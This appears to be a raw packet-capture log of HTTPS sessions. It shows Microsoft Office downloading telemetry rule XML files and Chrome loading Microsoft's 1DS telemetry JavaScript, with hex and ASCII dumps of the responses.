2024-11-17 11:35:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-16547b76f7fffb7lhC1DFWdsxg00000004fg0000000023uf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-16547b76f7fxqj4khC1DFWpypw00000001g000000000bvgx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-16547b76f7fhv4d5hC1DFW7h0n00000002kg0000000082vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-16547b76f7fmcv27hC1DFWgpcg0000000300000000008d16 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:36 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:36 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 83fa2191-701e-0098-599e-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113536Z-16547b76f7ftnm6xhC1DFW9c8c00000003vg0000000070n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:36 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-16547b76f7ff9zf4hC1DFW2pfc00000001tg000000008w0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-16547b76f7fw2955hC1DFWsptc00000004n000000000cenz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5e3aaffc-501e-0064-42f8-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113537Z-164f84587bf6h2bxhC1DFWbcm800000004eg000000004z8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49867	13.107.246.67	443	5308	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:37 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 11:35:37 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:37 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: b909e3ec-f01e-00d4-7c8f-269d10000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241117T113537Z-1866b5c5fbb2t6txhC1DFWa2qc00000004ag000000001mce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:37 UTC	15493	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d Data Ascii: ?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[m
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f Data Ascii: gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,functio
2024-11-17 11:35:37 UTC	16384	IN	Data Raw: 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d Data Ascii: 